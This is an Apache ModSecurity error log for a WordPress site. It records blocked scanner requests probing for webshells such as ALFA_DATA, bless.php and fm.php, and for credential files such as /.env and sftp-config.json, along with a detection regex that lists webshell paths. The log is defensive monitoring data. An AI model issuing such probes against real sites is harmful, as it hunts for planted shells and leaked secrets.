[Mon Dec 22 10:20:20.275840 2025] [:error] [pid 33472:tid 33507] [client 2.58.56.27:52313] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq5J5p2WQpPIK8HAlSgAAAAYY"], referer: www.google.com
[Mon Dec 22 10:20:21.455051 2025] [:error] [pid 33472:tid 33505] [client 2.58.56.27:58498] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq5Z5p2WQpPIK8HAlSrQAAAYQ"], referer: www.google.com
[Mon Dec 22 10:20:21.478560 2025] [:error] [pid 58172:tid 58186] [client 2.58.56.27:55066] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aUiq5eSVKDT5jWOcnSUmBwAAAMw"], referer: www.google.com
[Mon Dec 22 10:20:23.236824 2025] [:error] [pid 56155:tid 56221] [client 2.58.56.27:58518] [client 2.58.56.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aUiq52G8a3wQucsuN6560wAAA4A"], referer: www.google.com
[Mon Dec 22 10:36:58.894887 2025] [:error] [pid 58078:tid 58100] [client 116.206.202.84:58792] [client 116.206.202.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.206.202.84, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUiuypWKg9Bf8njHlB6rHQAAABE"]
[Mon Dec 22 14:14:02.896341 2025] [:error] [pid 56155:tid 56233] [client 43.153.87.54:52688] [client 43.153.87.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUjhqmG8a3wQucsuN66ljQAAA4s"]
[Mon Dec 22 19:19:24.448597 2025] [:error] [pid 33535:tid 33537] [client 43.135.182.95:59574] [client 43.135.182.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUkpPGOCI8D9Xtn-n7StdgAAAcA"]
[Mon Dec 22 19:25:41.051442 2025] [:error] [pid 58078:tid 58098] [client 193.37.33.47:51597] [client 193.37.33.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.37.33.47, incrementing brute counter"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUkqtZWKg9Bf8njHlB4nBgAAAA8"]
[Mon Dec 22 20:53:43.654896 2025] [:error] [pid 33471:tid 33486] [client 103.65.236.153:62618] [client 103.65.236.153] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aUk_V75BeNE7regJ7ixMswAAAUw"]
[Mon Dec 22 21:36:58.826722 2025] [:error] [pid 58172:tid 58174] [client 206.189.143.202:52421] [client 206.189.143.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.143.202, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUlJeuSVKDT5jWOcnSUCUQAAAMA"]
[Mon Dec 22 21:36:59.943936 2025] [:error] [pid 58078:tid 58101] [client 206.189.143.202:58563] [client 206.189.143.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 206.189.143.202, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUlJe5WKg9Bf8njHlB5cWgAAABI"]
[Mon Dec 22 22:18:15.590488 2025] [:error] [pid 33440:tid 33445] [client 134.199.150.239:49850] [client 134.199.150.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.199.150.239, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUlTJ5OsUWKqgxu6QTRHlgAAAQM"]
[Tue Dec 23 02:48:51.161441 2025] [:error] [pid 40361:tid 40380] [client 195.24.236.147:55957] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUmSk-xiDEK95vL2EDr4jQAAAFE"]
[Tue Dec 23 02:48:51.812186 2025] [:error] [pid 40361:tid 40367] [client 195.24.236.147:56060] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUmSk-xiDEK95vL2EDr4nwAAAEQ"]
[Tue Dec 23 02:48:52.497196 2025] [:error] [pid 12110:tid 12131] [client 195.24.236.147:56188] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUmSlAYatzD_WebWpOrq_QAAAJM"]
[Tue Dec 23 02:48:53.142891 2025] [:error] [pid 40269:tid 40347] [client 195.24.236.147:56338] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUmSlS06Z11fTcfdsqQCqQAAARI"]
[Tue Dec 23 02:48:53.811603 2025] [:error] [pid 40268:tid 40305] [client 195.24.236.147:56469] [client 195.24.236.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUmSlZWtCyS5tdJAiFx1oAAAAMM"]
[Tue Dec 23 08:02:47.737111 2025] [:error] [pid 49060:tid 49081] [client 182.43.70.143:43706] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUncJ_vdpPyXg0aYbMWQDQAAABE"]
[Tue Dec 23 10:03:02.921801 2025] [:error] [pid 49061:tid 49114] [client 189.37.71.218:60890] [client 189.37.71.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.37.71.218, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUn4VmRtvGWfzuDz6nSTPAAAAFY"]
[Tue Dec 23 10:43:27.932797 2025] [:error] [pid 49061:tid 49108] [client 139.59.224.88:44620] [client 139.59.224.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aUoBz2RtvGWfzuDz6nSbBAAAAFA"]
[Tue Dec 23 10:51:38.895284 2025] [:error] [pid 49060:tid 49065] [client 139.59.224.88:60740] [client 139.59.224.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aUoDuvvdpPyXg0aYbMXEOQAAAAE"]
[Tue Dec 23 14:07:08.662416 2025] [:error] [pid 3497:tid 3522] [client 182.42.110.255:33368] [client 182.42.110.255] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUoxjOzUE6hZ8LJecSu4CQAAANY"]
[Tue Dec 23 18:22:00.469665 2025] [:error] [pid 49993:tid 50008] [client 174.138.8.229:50332] [client 174.138.8.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 174.138.8.229, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUptSKjLOkLOc-I9e9uJ9QAAAUw"]
[Tue Dec 23 18:22:01.693147 2025] [:error] [pid 25976:tid 25998] [client 174.138.8.229:50687] [client 174.138.8.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 174.138.8.229, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aUptSbF6LaWzQScE-xNeagAAARQ"]
[Tue Dec 23 19:17:23.775509 2025] [:error] [pid 3405:tid 3461] [client 43.159.135.203:34064] [client 43.159.135.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUp6Q7dHHpIDpQ39rwkeygAAABg"]
[Tue Dec 23 22:18:21.428251 2025] [:error] [pid 54375:tid 54392] [client 23.98.95.46:63646] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aUqkrZ1Yro3O5R2WY-CCkgAAAk8"]
[Tue Dec 23 22:18:22.037612 2025] [:error] [pid 54375:tid 54399] [client 23.98.95.46:63654] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aUqkrp1Yro3O5R2WY-CCkwAAAlY"]
[Tue Dec 23 22:18:24.021642 2025] [:error] [pid 54408:tid 54426] [client 23.98.95.46:56969] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aUqksGup4YbWx_MWvp1o8QAAAo8"]
[Tue Dec 23 22:18:25.154130 2025] [:error] [pid 54375:tid 54401] [client 23.98.95.46:63198] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aUqksZ1Yro3O5R2WY-CClgAAAlg"]
[Tue Dec 23 22:18:26.243627 2025] [:error] [pid 3405:tid 3444] [client 23.98.95.46:54203] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUqksrdHHpIDpQ39rwldUAAAAAc"]
[Tue Dec 23 22:18:29.919026 2025] [:error] [pid 3406:tid 3471] [client 23.98.95.46:54891] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUqktfn8DLWxW7TPzpH21QAAAEc"]
[Tue Dec 23 22:18:31.522526 2025] [:error] [pid 3404:tid 3423] [client 23.98.95.46:54899] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUqkt8JGbPWZNlrhVJdmhgAAAc4"]
[Tue Dec 23 22:18:35.137566 2025] [:error] [pid 54408:tid 54411] [client 23.98.95.46:60934] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aUqku2up4YbWx_MWvp1o-QAAAoA"]
[Tue Dec 23 22:18:44.699578 2025] [:error] [pid 54408:tid 54435] [client 23.98.95.46:63663] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aUqkxGup4YbWx_MWvp1pBQAAApg"]
[Tue Dec 23 22:18:46.734994 2025] [:error] [pid 3404:tid 3414] [client 23.98.95.46:54151] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aUqkxsJGbPWZNlrhVJdmjQAAAcU"]
[Tue Dec 23 22:18:48.121563 2025] [:error] [pid 54375:tid 54390] [client 23.98.95.46:54875] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aUqkyJ1Yro3O5R2WY-CCqAAAAk0"]
[Tue Dec 23 22:18:49.377573 2025] [:error] [pid 3406:tid 3482] [client 23.98.95.46:16016] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aUqkyfn8DLWxW7TPzpH25gAAAFI"]
[Tue Dec 23 22:18:53.175301 2025] [:error] [pid 54375:tid 54395] [client 23.98.95.46:63645] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aUqkzZ1Yro3O5R2WY-CCqwAAAlI"]
[Tue Dec 23 22:18:54.115494 2025] [:error] [pid 25976:tid 25984] [client 23.98.95.46:54147] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aUqkzrF6LaWzQScE-xOSkgAAAQY"]
[Tue Dec 23 22:18:59.342958 2025] [:error] [pid 3406:tid 3488] [client 23.98.95.46:59124] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aUqk0_n8DLWxW7TPzpH28AAAAFg"]
[Tue Dec 23 22:19:00.743324 2025] [:error] [pid 3404:tid 3423] [client 23.98.95.46:65000] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bs1.php"] [unique_id "aUqk1MJGbPWZNlrhVJdmnAAAAc4"]
[Tue Dec 23 22:19:03.686211 2025] [:error] [pid 3405:tid 3453] [client 23.98.95.46:59009] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUqk17dHHpIDpQ39rwlddwAAABA"]
[Tue Dec 23 22:19:07.697357 2025] [:error] [pid 3404:tid 3417] [client 23.98.95.46:63225] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUqk28JGbPWZNlrhVJdmoQAAAcg"]
[Tue Dec 23 22:19:11.001636 2025] [:error] [pid 25976:tid 25978] [client 23.98.95.46:59024] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUqk37F6LaWzQScE-xOSngAAAQA"]
[Tue Dec 23 22:19:11.467641 2025] [:error] [pid 54297:tid 54308] [client 23.98.95.46:59014] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/chosen.php"] [unique_id "aUqk30ZMNime0caoKPKy0gAAAYc"]
[Tue Dec 23 22:19:14.789846 2025] [:error] [pid 54340:tid 54358] [client 23.98.95.46:59063] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aUqk4pye8-oij4iGhog3bgAAAhA"]
[Tue Dec 23 22:19:17.826154 2025] [:error] [pid 54408:tid 54424] [client 23.98.95.46:63644] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aUqk5Wup4YbWx_MWvp1pJgAAAo0"]
[Tue Dec 23 22:19:18.248971 2025] [:error] [pid 54297:tid 54322] [client 23.98.95.46:55951] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aUqk5kZMNime0caoKPKy2gAAAZU"]
[Tue Dec 23 22:19:20.149865 2025] [:error] [pid 3497:tid 3504] [client 23.98.95.46:63635] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/conflg.php"] [unique_id "aUqk6OzUE6hZ8LJecSsvLgAAAMQ"]
[Tue Dec 23 22:19:28.621525 2025] [:error] [pid 25976:tid 25991] [client 23.98.95.46:63584] [client 23.98.95.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aUqk8LF6LaWzQScE-xOSuwAAAQ0"]
[Tue Dec 23 22:19:30.351782 2025] [:error] [pid 11812:tid 11831] [client 23.98.95.46:57758] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUqk8rBkIQ4nTXm4A3UufwAAAJE"]
[Tue Dec 23 22:19:32.974104 2025] [:error] [pid 3405:tid 3447] [client 23.98.95.46:55990] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUqk9LdHHpIDpQ39rwldlwAAAAo"]
[Tue Dec 23 22:19:36.339376 2025] [:error] [pid 25976:tid 25998] [client 23.98.95.46:55750] [client 23.98.95.46] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index/function.php"] [unique_id "aUqk-LF6LaWzQScE-xOSywAAARQ"]
